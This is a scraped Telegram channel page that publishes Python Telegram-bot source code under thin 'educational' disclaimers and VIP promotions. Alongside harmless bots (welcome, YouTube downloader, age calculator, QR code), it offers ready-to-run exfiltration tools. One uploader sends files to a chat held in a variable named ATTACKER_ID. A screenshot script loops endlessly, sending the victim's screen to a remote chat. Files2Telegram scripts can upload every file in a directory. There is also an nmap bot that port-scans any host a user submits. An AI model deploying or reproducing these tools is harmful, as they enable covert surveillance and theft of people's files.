Python Telegram Bots
734 subscribers
1 photo
3 videos
1 file
37 links
All types of python telegram bot with explanation. By @EFXTV

This channel is intended solely for educational and awareness purposes. Any illegal activity is a...

Backup Channel https://t.me/+_w-03ZG1E_thMDhl

Donate: https://buymeacoffee.com/efxtv
Download Telegram
👉🏻 VISIT THE LINK TO JOIN VIP
JOIN VIP

List of bots we will use in #python_telegram_bot_source_codes #bots

⚫️ Bot Father
- How to use Bot Father

⚫️ User Info Bot
- How to use User Info Bot



Updating ...
👍5
How to use Bot Father ?

Create our first Telegram bot (WelcomeBot.py) using the BotFather Step by step:

NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.

⚡️ Install libraries
$ pip install pyTelegramBotAPI


⚡️ Telegram Bot Using BotFather
⚡️ Search for "BotFather"
⚡️ type /start.
⚡️ type /newbot to create a new bot.
⚡️ Follow the instructions to provide a name for your bot.
⚡️ This name should end with "bot" (e.g., "WelcomeBot").
⚡️ Choose a username for your bot.
⚡️ This username must end with "bot" and be unique. after finish
⚡️ BotFather will provide you with an API token.
⚡️ This token is essential for interacting with the Telegram Bot API. Keep it secure.



⚡️ Demo Welcome bot. Save it as WelcomeBot.py
JOIN VIP
import telebot

TOKEN = 'Token_here'

bot = telebot.TeleBot(TOKEN)

@bot.message_handler(commands=['start'])
def send_welcome(message):
bot.reply_to(message, "Welcome to EFX Tv Support ! How can I assist you?")

@bot.message_handler(func=lambda message: True)
def echo_message(message):
bot.reply_to(message, message.text)

bot.polling()


⚡️ Execute the 'WelcomeBot.py' script, and visit your Telegram bot, type '/start' to receive the welcome message.

#python_telegram_bot_source_codes
#python_Telegram_Bot
👍101
How to download YouTube videos anytime using a Telegram bot.

NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.

Create Telegram bot Youtube_Downloader.py:

⚡️ First, install the necessary libraries:
$ pip install pyTelegramBotAPI pytube


⚡️ Create a file Youtube_Downloader.py

⚡️ Go to BotFather and create a new Telegram Bot

⚡️ Save the script as Youtube_Downloader.py
JOIN VIP

import telebot
from pytube import YouTube

# Change the 'TOKEN' (GENERATED BY BOT FATHER)
TOKEN = 'TOKEN'
bot = telebot.TeleBot(TOKEN)

@bot.message_handler(commands=['start'])
def send_welcome(message):
bot.reply_to(message, "Welcome to EFX TV YouTube Downloader Bot!\nSend me a YouTube link and I'll download the video for you. Cheers")

@bot.message_handler(func=lambda message: True)
def download_video(message):
try:
youtube_url = message.text
yt = YouTube(youtube_url)
stream = yt.streams.filter(progressive=True, file_extension='mp4').first()
video_file = stream.download()
with open(video_file, 'rb') as video:
bot.send_video(message.chat.id, video)
except Exception as e:
bot.reply_to(message, f"An error occurred: {str(e)}")

bot.polling()


⚡️ Execute the 'Youtube_Downloader.py' script, and visit your Telegram bot, type '/start' to receive the welcome message.

⚡️ Send a YouTube Link and Download the video.

#YouTubeDownloader
#python_telegram_bot_source_codes
#python_Telegram_Bot
👍52🔥1
Create a telegram bot to scan IP/host/websites (enter the IP and get the fastest open port report)

NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.

Create Telegram bot Scan.py:
JOIN VIP

⚡️ First, install the necessary libraries:
$ pip install python-telegram-bot==13.7

$ pip install python-nmap

⚡️ Create a file Filename.py

⚡️ Go to BotFather and create a new Telegram Bot

⚡️ Save the script as Filename.py Source

import telegram
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
import nmap

bot = telegram.Bot(token='YOUR_TOKEN')
updater = Updater('YOUR_TOKEN', use_context=True)
dispatcher = updater.dispatcher

nm = nmap.PortScanner()

def start(update, context):
context.bot.send_message(chat_id=update.effective_chat.id, text="Welcome there ! Please pass the IP or Host.")

def scan(update, context):
try:
target = update.message.text

nm.scan(hosts=target, arguments='-T4 -F')

scan_result = ''
for host in nm.all_hosts():
scan_result += f"Host: {host}\n"
for proto in nm[host].all_protocols():
ports = nm[host][proto].keys()
for port in ports:
port_info = nm[host][proto][port]
scan_result += f"Port: {port} State: {port_info['state']} Service: {port_info['name']}"
if 'product' in port_info:
scan_result += f", Version: {port_info['product']}"
scan_result += "\n"

context.bot.send_message(chat_id=update.effective_chat.id, text=scan_result)
except Exception as e:
context.bot.send_message(chat_id=update.effective_chat.id, text=f"Error: {str(e)}")

start_handler = CommandHandler('start', start)
dispatcher.add_handler(start_handler)

message_handler = MessageHandler(Filters.text & ~Filters.command, scan)
dispatcher.add_handler(message_handler)

updater.start_polling()
updater.idle()

⚡️ Execute the 'Scan.py' script, and visit your Telegram bot, type '/start' to receive the welcome message.

⚡️ Pass the IP/host and get open ports, service and versions.

#nmap
#python_telegram_bot_source_codes
#python_Telegram_Bot
👍2
Develop a Python bot which can share any file seamlessly, without the necessity for port forwarding or delving into technical intricacies

NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.


JOIN VIP

import os
import sys
import telebot

# YOU CAN MODIFY
# BOT_TOKEN = 'MODIFY'
# GROUP_CHAT_ID = 'MODIFY'
# INSTALL PYTHON AND TELEBOT

BOT_TOKEN = 'MODIFY'

ATTACKER_ID = 'MODIFY'

bot = telebot.TeleBot(BOT_TOKEN)

def send_message(message):
    bot.send_message(ATTACKER_ID, message)

def upload_file(file_path):
    try:
        file_name = os.path.basename(file_path)

        with open(file_path, 'rb') as f:
            bot.send_document(ATTACKER_ID, f, caption=f'File "{file_name}" uploaded successfully!')

    except Exception as e:
        send_message(f'Error uploading file: {str(e)}')

if len(sys.argv) != 2:
    print("Usage: python upload.py <file_path>")
    sys.exit(1)

file_path = sys.argv[1]

upload_file(file_path)

#uploadfiles
#python_telegram_bot_source_codes
#python_Telegram_Bot
👍2
Age calculator Telegram bot. This bot will tell you the detailed age and time duration you lived so far.

NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.

Create Telegram bot AgeCalculator.py:

⚡️ First, install the necessary libraries:
$ pip install python-telegram-bot


⚡️ Save the script as AgeCalculator.py

JOIN VIP

import telegram
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
import datetime
import time

TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN'

def start(update, context):
update.message.reply_text("Welcome to EFXTV Age Calculator Bot!")
context.bot.send_message(chat_id=update.effective_chat.id, text="Please provide your date of birth in DD/MM/YYYY format?")

def get_dob(update, context):
dob = update.message.text
context.user_data['dob'] = dob
time.sleep(1)
context.bot.send_message(chat_id=update.effective_chat.id, text="Please provide your time of birth in HH:MM format?")

def get_tob(update, context):
tob = update.message.text
context.user_data['tob'] = tob
time.sleep(1)
context.bot.send_message(chat_id=update.effective_chat.id, text="Thank you. Please wait...")
time.sleep(1)
calculate_age(update, context)

def calculate_age(update, context):
try:
dob_str = context.user_data.get('dob')
tob_str = context.user_data.get('tob')

if not dob_str or not tob_str:
raise ValueError("Date of birth or time of birth is missing.")

dob = datetime.datetime.strptime(dob_str, '%d/%m/%Y')
tob = datetime.datetime.strptime(tob_str, '%H:%M')

now = datetime.datetime.now()
age = now - dob

total_hours = age.total_seconds() / 3600
total_minutes = age.total_seconds() / 60
total_seconds = age.total_seconds()
age_in_months = (now.year - dob.year) * 12 + now.month - dob.month
age_in_years = age_in_months // 12
remaining_months = age_in_months % 12

age_in_days = age.days

day_of_birth = dob.strftime("%A")

context.bot.send_message(chat_id=update.effective_chat.id, text=f"You have lived total hours: {total_hours:.2f}")
time.sleep(1)
context.bot.send_message(chat_id=update.effective_chat.id, text=f"You have lived total minutes: {total_minutes:.2f}")
time.sleep(1)
context.bot.send_message(chat_id=update.effective_chat.id, text=f"You have lived total seconds: {total_seconds:.2f}")
time.sleep(1)
context.bot.send_message(chat_id=update.effective_chat.id, text=f"Your age in months: {age_in_months}")
time.sleep(1)
context.bot.send_message(chat_id=update.effective_chat.id, text=f"Your age in years: {age_in_years}Y {remaining_months}M {age_in_days}D")
time.sleep(1)
context.bot.send_message(chat_id=update.effective_chat.id, text=f"The day you were born on: {day_of_birth}")
time.sleep(1)
context.bot.send_message(chat_id=update.effective_chat.id, text="Please follow us on @python_telegram_bot_source_codes")
time.sleep(1)
context.bot.send_message(chat_id=update.effective_chat.id, text="Kindly pass '/start' to start again")
except ValueError as e:
context.bot.send_message(chat_id=update.effective_chat.id, text=str(e))
finally:
context.user_data.clear()

updater = Updater(TOKEN, use_context=True)

dp = updater.dispatcher

dp.add_handler(CommandHandler("start", start))
dp.add_handler(MessageHandler(Filters.regex(r'^\d{2}/\d{2}/\d{4}$'), get_dob))
dp.add_handler(MessageHandler(Filters.regex(r'^\d{2}:\d{2}$'), get_tob))
dp.add_handler(MessageHandler(Filters.text & ~Filters.command, calculate_age))

updater.start_polling()
updater.idle()


⚡️ Execute the 'AgeCalculator.py' script, and visit your Telegram bot, type '/start' to receive the welcome message.

#agecalculator
#python_telegram_bot_source_codes
#python_Telegram_Bot
👍4
Take screenshot Using Python Telegram Bot
NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.

Create Telegram bot Screenshot.py:

⚡️ First, install the necessary libraries:
pip install pyautogui python-telegram-bot pillow


⚡️ Save the script as Screenshot.py

JOIN VIP To add more features

import pyautogui
from PIL import Image
from io import BytesIO
from telegram import Bot

def take_screenshot():
screenshot = pyautogui.screenshot()
return screenshot

def send_screenshot(bot_token, chat_id, screenshot):
bot = Bot(token=bot_token)
with BytesIO() as bio:
screenshot.save(bio, format="PNG")
bio.seek(0)
bot.send_photo(chat_id=chat_id, photo=bio)

if __name__ == "__main__":
BOT_TOKEN = "ChangeMe"

CHAT_ID = "ChangeMe"

while True:
screenshot = take_screenshot()

send_screenshot(BOT_TOKEN, CHAT_ID, screenshot)


⚡️ Execute the 'Screenshot.py' script, and visit your Telegram bot, type '/start' to receive files.

#Screenshot
#python_telegram_bot_source_codes
#python_Telegram_Bot
👍61
Link2QR Telegram bot in Python
Must create a directory Link2QR and copy files
JOIN VIP (to get detailed script and support)
We can create any kind of Telegram, Python or EXE bot for you

import logging
from telegram import Update, InputFile
from telegram.ext import Application, CommandHandler, MessageHandler, filters, CallbackContext
import qrcode
from io import BytesIO

TELEGRAM_TOKEN = 'CHANGE_ME_TOKEN'

logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)
logger = logging.getLogger(__name__)

async def start(update: Update, context: CallbackContext):
await update.message.reply_text("Give me a link 🙂")

async def handle_message(update: Update, context: CallbackContext):
user_input = update.message.text

qr = qrcode.QRCode(version=1, box_size=10, border=4)
qr.add_data(user_input)
qr.make(fit=True)

img = qr.make_image(fill='black', back_color='white')

buffer = BytesIO()
img.save(buffer, format='PNG')
buffer.seek(0)

await context.bot.send_photo(chat_id=update.effective_chat.id, photo=InputFile(buffer, filename='qr.png'))
await update.message.reply_text("Here is your QR code. You can scan it at scanqr.org")

def main():
application = Application.builder().token(TELEGRAM_TOKEN).build()

application.add_handler(CommandHandler('start', start))
application.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))

application.run_polling()

if __name__ == '__main__':
main()


requirements.txt
python-telegram-bot==21.0
qrcode[pil]==7.3.0
Pillow==10.0.0

pip install -r requirements.txt

#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
👍6🔥3
Files2Telegram Bot
Must create a directory Files2Telegram and copy files
JOIN VIP

import argparse
import os
import asyncio
from telegram import Bot
from telegram.error import TelegramError
from telegram.ext import Application

BOT_TOKEN = 'CHANGE_ME'
CHAT_ID = 'CHANGE_ME'

async def send_file(bot, file_path):
try:
with open(file_path, 'rb') as file:
await bot.send_document(chat_id=CHAT_ID, document=file, caption=f'Sending {file_path}')
print(f'Successfully sent: {file_path}')
except TelegramError as e:
print(f'Failed to send {file_path}. Error: {e}')
except FileNotFoundError:
print(f'File not found: {file_path}')

async def main(files):
bot = Bot(token=BOT_TOKEN)
if files and files[0] == '*':
for filename in os.listdir('.'):
if os.path.isfile(filename):
await send_file(bot, filename)
else:
for file_path in files:
await send_file(bot, file_path)

if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Send files to Telegram.')
parser.add_argument('files', nargs='*', help='Files to send. Use "*" to send all files in the directory.')

args = parser.parse_args()
asyncio.run(main(args.files))


#Install commands
pip install -r requirements.txt
pip install python-telegram-bot --upgrade

#Use command
python share.py file.txt
python share.py *
python share.py /user/home/bin/file.txt


requirements.txt
python-telegram-bot
aiohttp

#telegrambot
#python_telegram_bot_source_codes
#python_Telegram_Bot
👍2🔥2
Files2Telegram Bot_Public
Must create a directory Files2Telegram and copy files
Add your bot to Public Group or Channel
JOIN VIP

import argparse
import os
import asyncio
from telegram import Bot
from telegram.error import TelegramError

BOT_TOKEN = 'YOUR_BOT_TOKEN'
CHAT_ID = '@USERNAE_OF_GROUP_CHANNEL'

async def send_file(bot, file_path):
try:
with open(file_path, 'rb') as file:
await bot.send_document(chat_id=CHAT_ID, document=file, caption=f'Sending {file_path}')
print(f'Successfully sent: {file_path}')
except TelegramError as e:
print(f'Failed to send {file_path}. Error: {e}')
except FileNotFoundError:
print(f'File not found: {file_path}')

async def main(files):
bot = Bot(token=BOT_TOKEN)
if files and files[0] == '*':
for filename in os.listdir('.'):
if os.path.isfile(filename):
await send_file(bot, filename)
else:
for file_path in files:
await send_file(bot, file_path)

if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Send files to a public Telegram bot.')
parser.add_argument('files', nargs='*', help='Files to send. Use "*" to send all files in the directory.')

args = parser.parse_args()
asyncio.run(main(args.files))

requirements.txt
python-telegram-bot
aiohttp


#Install commands
pip install -r requirements.txt
pip install python-telegram-bot --upgrade

#Use command
python share.py file.txt
python share.py *
python share.py /user/home/bin/file.txt


#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
👍6🔥3🥰2👏1